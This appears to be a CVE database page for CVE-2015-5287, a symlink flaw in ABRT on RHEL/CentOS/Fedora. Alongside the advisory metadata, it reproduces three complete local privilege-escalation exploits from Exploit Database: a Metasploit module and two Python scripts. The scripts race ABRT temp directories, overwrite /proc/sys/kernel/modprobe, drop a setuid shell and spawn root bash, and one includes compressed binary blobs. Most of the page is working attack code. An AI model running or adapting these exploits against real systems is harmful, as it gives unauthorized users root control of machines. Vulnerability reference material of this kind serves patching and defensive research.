CVE-2015-5287 : Detail

CVE-2015-5287

A01-Broken Access Control
0.09%V3
Local
2015-12-07
17h00 +00:00
2019-09-24
16h06 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The abrt-hook-ccpp help program in Automatic Bug Reporting Tool (ABRT) before 2.7.1 allows local users with certain permissions to gain privileges via a symlink attack on a file with a predictable name, as demonstrated by /var/tmp/abrt/abrt-hax-coredump or /var/spool/abrt/abrt-hax-coredump.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-59 Improper Link Resolution Before File Access ('Link Following')
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 47421

Publication date : 2019-09-24 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'ABRT sosreport Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on RHEL systems with a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured as the crash handler. `sosreport` uses an insecure temporary directory, allowing local users to write to arbitrary files (CVE-2015-5287). This module uses a symlink attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path in `/proc/sys/kernel/modprobe`, resulting in root privileges. Waiting for `sosreport` could take a few minutes. This module has been tested successfully on: abrt 2.1.11-12.el7 on RHEL 7.0 x86_64; and abrt 2.1.11-19.el7 on RHEL 7.1 x86_64. }, 'License' => MSF_LICENSE, 'Author' => [ 'rebel', # Discovery and sosreport-rhel7.py exploit 'bcoles' # Metasploit ], 'DisclosureDate' => '2015-11-23', 'Platform' => ['linux'], 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [[ 'Auto', {} ]], 'References' => [ ['BID', '78137'], ['CVE', '2015-5287'], ['EDB', '38832'], ['URL', 'https://www.openwall.com/lists/oss-security/2015/12/01/1'], ['URL', 'https://access.redhat.com/errata/RHSA-2015:2505'], ['URL', 'https://access.redhat.com/security/cve/CVE-2015-5287'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1266837'] ] )) register_options [ OptInt.new('TIMEOUT', [true, 'Timeout for sosreport (seconds)', '600']) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def base_dir datastore['WritableDir'] end def timeout datastore['TIMEOUT'] end def check kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern' unless kernel_core_pattern.include? 'abrt-hook-ccpp' vprint_error 'System is not configured to use ABRT for crash reporting' return CheckCode::Safe end vprint_good 'System is configured to use ABRT for crash reporting' if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive' vprint_error 'abrt-ccp service not running' return CheckCode::Safe end vprint_good 'abrt-ccpp service is running' # Patched in 2.1.11-35.el7 pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\s+/)[1] if abrt_version.blank? vprint_status 'Could not retrieve ABRT package version' return CheckCode::Safe end unless Gem::Version.new(abrt_version) < Gem::Version.new('2.1.11-35.el7') vprint_status "ABRT package version #{abrt_version} is not vulnerable" return CheckCode::Safe end vprint_good "ABRT package version #{abrt_version} is vulnerable" unless command_exists? 'python' vprint_error 'python is not installed' return CheckCode::Safe end vprint_good 'python is installed' CheckCode::Appears end def upload_and_chmodx(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data chmod path register_file_for_cleanup path end def exploit unless check == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end exe_data = ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2015-5287', 'sosreport-rhel7.py') exe_name = ".#{rand_text_alphanumeric 5..10}" exe_path = "#{base_dir}/#{exe_name}" upload_and_chmodx exe_path, exe_data payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" upload_and_chmodx payload_path, generate_payload_exe register_file_for_cleanup '/tmp/hax.sh' print_status "Launching exploit - This might take a few minutes (Timeout: #{timeout}s) ..." output = cmd_exec "echo \"#{payload_path}& exit\" | #{exe_path}", nil, timeout output.each_line { |line| vprint_status line.chomp } end end
Exploit Database EDB-ID : 38832

Publication date : 2015-11-30 23h00 +00:00
Author : rebel
EDB Verified : Yes

#!/usr/bin/python # CVE-2015-5287 (?) # abrt/sosreport RHEL 7.0/7.1 local root # rebel 09/2015 # [user@localhost ~]$ python sosreport-rhel7.py # crashing pid 19143 # waiting for dump directory # dump directory: /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143 # waiting for sosreport directory # sosreport: sosreport-localhost.localdomain-20151130194114 # waiting for tmpfiles # tmpfiles: ['tmpurfpyY', 'tmpYnCfnQ'] # moving directory # moving tmpfiles # tmpurfpyY -> tmpurfpyY.old # tmpYnCfnQ -> tmpYnCfnQ.old # waiting for sosreport to finish (can take several minutes)........................................done # success # bash-4.2# id # uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 # bash-4.2# cat /etc/redhat-release # Red Hat Enterprise Linux Server release 7.1 (Maipo) import os,sys,glob,time,sys,socket payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n" pid = os.fork() if pid == 0: os.execl("/usr/bin/sleep","sleep","100") time.sleep(0.5) print "crashing pid %d" % pid os.kill(pid,11) print "waiting for dump directory" def waitpath(p): while 1: r = glob.glob(p) if len(r) > 0: return r time.sleep(0.05) dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0] print "dump directory: ", dumpdir os.chdir(dumpdir) print "waiting for sosreport directory" sosreport = waitpath("sosreport-*")[0] print "sosreport: ", sosreport print "waiting for tmpfiles" tmpfiles = waitpath("tmp*") print "tmpfiles: ", tmpfiles print "moving directory" os.rename(sosreport, sosreport + ".old") os.mkdir(sosreport) os.chmod(sosreport,0777) os.mkdir(sosreport + "/sos_logs") os.chmod(sosreport + "/sos_logs",0777) os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log") os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log") print "moving tmpfiles" for x in tmpfiles: print "%s -> %s" % (x,x + ".old") os.rename(x, x + ".old") open(x, "w+").write("/tmp/hax.sh\n") os.chmod(x,0666) os.chdir("/") sys.stderr.write("waiting for sosreport to finish (can take several minutes)..") def trigger(): open("/tmp/hax.sh","w+").write(payload) os.chmod("/tmp/hax.sh",0755) try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132) except: pass time.sleep(0.5) try: os.stat("/tmp/sh") except: print "could not create suid" sys.exit(-1) print "success" os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''') sys.exit(-1) for x in xrange(0,60*10): if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read(): print "done" trigger() time.sleep(1) sys.stderr.write(".") print "timed out"
Exploit Database EDB-ID : 38835

Publication date : 2015-11-30 23h00 +00:00
Author : rebel
EDB Verified : Yes

#!/usr/bin/python # CVE-2015-5273 + CVE-2015-5287 # CENTOS 7.1/Fedora22 local root (probably works on SL and older versions too) # abrt-hook-ccpp insecure open() usage + abrt-action-install-debuginfo insecure temp directory usage # rebel 09/2015 # ---------------------------------------- # [user@localhost ~]$ id # uid=1000(user) gid=1000(user) groups=1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 # [user@localhost ~]$ cat /etc/redhat-release # CentOS Linux release 7.1.1503 (Core) # [user@localhost ~]$ python abrt-centos-fedora.py # -- lots of boring output, might take a while on a slow connection -- # /var/spool/abrt/abrt-hax-coredump created # executing crashing process.. # success # bash-4.2# id # uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 import time,os,datetime,sys,resource,socket fedora = "Fedora" in open("/etc/redhat-release").read() # mkdir dir1 # ln -s /var/spool/abrt dir1/hax # mkdir dir2 # mkdir dir2/hax # ln -s /proc/sys/kernel/modprobe dir2/hax/abrt-hax-coredump # cd dir1 # find . -depth -print | cpio -o > ../cpio1 # cd ../dir2 # find . -depth -print | cpio -o > ../cpio2 cpio1 = 'x\x9c;^\xc8\xcc\xa1\xb0\xef\xff\xc2\x17\xcc/\x98\x19\x19\x18\x18>\x86\xde\xdc\xc8\x02\xa4\xf9\x192\x12+\x18\xf4\xcb\x12\x8b\xf4\x8b\x0b\xf2\xf3s\xf4\x13\x93\x8aJ\x18\x8e\x03U\xb3\xef\xfb\xeb\x08R\xcd\x04U\r\xa2\x19\x18\xf4\x80r\x0cp\xc0\x08\xa5\xb9\xc1dH\x90\xa3\xa7\x8fk\x90\xa2\xa2"\xc3(\x18d\x00\x00\x16\xb9\x1bA'.decode("zip") cpio2 = 'x\x9c;^\xc8\xcc\x917\xfb\xff\xc2\x17\xcc/\x98\x19\x19\x18\x18>\x86\xde\xdc(\x06\xa4%\x192\x12+\xf4\x13\x93\x8aJt\x81\x0c\xdd\xe4\xfc\xa2\xd4\x94\xd2\xdc\x02\x06\xfd\x82\xa2\xfcd\xfd\xe2\xcab\xfd\xec\xd4\xa2\xbc\xd4\x1c\xfd\xdc\xfc\x14\xa0PR*\xc3q\xa0I\x19\xb3\xff:\x82Lb\x82\x9a\xc4\xc2\x00\x02@\x03\xc0\xb2+\xef@d\x99\xa1\xb2L`Y=\xa0\x1c\x03\x1c0Bin0\x19\x12\xe4\xe8\xe9\xe3\x1a\xa4\xa8\xa8\xc80\nh\x02\x00\x01\x980\x88'.decode("zip") if fedora: cpio1 = cpio1.replace("/var/spool/abrt","/var/tmp///abrt") payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n" # we use a 32 bit binary because [vsyscall] will be at the end of the coredump on 64 bit binaries # and we can't control the contents of that region. on 32 bit binaries [stack] is at the end # the crashing binary will just fill the stack with /tmp/hax.sh which subsequently gets written # to /proc/sys/kernel/modprobe by /usr/libexec/abrt-hook-ccpp elf = 'x\x9c\xabw\xf5qcddd\x80\x01&\x06f\x06\x10/\xa4\x81\x85\xc3\x84\x01\x01L\x18\x14\x18`\xaa\xe0\xaa\x81j@x1\x90\t\xc2\xac 1\x01\x06\x06\x97F\x1b\x15\xfd\x92\xdc\x82\xd2o\x8dg\xfe\xf3\x03\xf9\xbb\xbe\x00\xb5\xec\x14\x01\xca\xee\xee\x07\xaa\xd7<\xd3\xc5\xdc\xc1\xa2\xe2\xe2\xfc\xe8{\xf3\x1b\x11\xaf\xe6_\x0c\xa5\x8fv8\x02\xc1\xff\x07\xfaP\x00\xd4\xad\x9f\x91X\xa1W\x9c\xc1\xc5\x00\x00-f"X'.decode("zip") # most people don't have nasm installed so i preassembled it # if you're not brave enough to run the preassembled file, here's the code :) """ ; abrt-hax.asm ; nasm -f bin -o abrt-hax abrt-hax.asm BITS 32 org 0x08048000 ehdr: ; Elf32_Ehdr db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident times 8 db 0 dw 2 ; e_type dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf32_Phdr dd 1 ; p_type dd 0 ; p_offset dd $$ ; p_vaddr dd $$ ; p_paddr dd filesize ; p_filesz dd filesize ; p_memsz dd 5 ; p_flags dd 0x1000 ; p_align phdrsize equ $ - phdr _start: inc esp cmp dword [esp],0x706d742f jne l or esp,0xfff inc esp mov edx,500 l3: mov ecx,msglen mov ebx,message sub esp,ecx l2: mov al,[ebx] mov [esp],al inc esp inc ebx loop l2 sub esp,msglen dec edx cmp edx,0 jne l3 mov eax,0x41414141 jmp eax message db '////////tmp/hax.sh',0x0a,0 msglen equ $-message """ build_id = os.popen("eu-readelf -n /usr/bin/hostname").readlines()[-1].split()[-1] os.chdir("/tmp") open("build_ids","w+").write(build_id + "\n") print build_id def child(): timestamp = int(time.time()) for i in xrange(0,3): try: t = datetime.datetime.fromtimestamp(timestamp+i) d = "/var/tmp/abrt-tmp-debuginfo-%s.%u" % (t.strftime("%Y-%m-%d-%H:%M:%S"), os.getpid()) os.mkdir(d) os.chmod(d,0777) os.symlink("/var/tmp/haxfifo",d+"/unpacked.cpio") print "created %s" % d except: pass os.execl("/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache","abrt-action-install-debuginfo-to-abrt-cache","-y") try: os.mkfifo("/var/tmp/haxfifo") os.chmod("/var/tmp/haxfifo",0666) except: pass def fifo(a): print "reading from fifo.." open("/var/tmp/haxfifo").read() print "done" print "writing to fifo.." open("/var/tmp/haxfifo","w+").write(a) print "done" if os.fork() == 0: child() print "first cpio..." fifo(cpio1) os.wait() time.sleep(1) if os.fork() == 0: child() print "second cpio..." fifo(cpio2) os.wait() time.sleep(1) if fedora: sym = "/var/tmp/abrt/abrt-hax-coredump" else: sym = "/var/spool/abrt/abrt-hax-coredump" try: os.lstat(sym) except: print "could not create symlink" sys.exit(-1) print "%s created" % sym open("/tmp/abrt-hax","w+").write(elf) os.chmod("/tmp/abrt-hax",0755) if os.fork() == 0: resource.setrlimit(resource.RLIMIT_CORE,(resource.RLIM_INFINITY,resource.RLIM_INFINITY,)) print "executing crashing process.." os.execle("/tmp/abrt-hax","",{}) os.wait() time.sleep(1) if "/tmp/hax" not in open("/proc/sys/kernel/modprobe").read(): print "could not modify /proc/sys/kernel/modprobe" sys.exit(-1) open("/tmp/hax.sh","w+").write(payload) os.chmod("/tmp/hax.sh",0755) try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132) except: pass time.sleep(0.5) try: os.stat("/tmp/sh") except: print "could not create suid" sys.exit(-1) print "success" os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;rm -rf /var/cache/abrt-di/hax;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')

Products Mentioned

Configuraton 0

Redhat>>Automatic_bug_reporting_tool >> Version To (including) 2.7.0

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_hpc_node >> Version 7.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_workstation >> Version 7.0

References

http://rhn.redhat.com/errata/RHSA-2015-2505.html
Tags : vendor-advisory, x_refsource_REDHAT
https://www.exploit-db.com/exploits/38832/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.openwall.com/lists/oss-security/2015/12/01/1
Tags : mailing-list, x_refsource_MLIST
http://www.securityfocus.com/bid/78137
Tags : vdb-entry, x_refsource_BID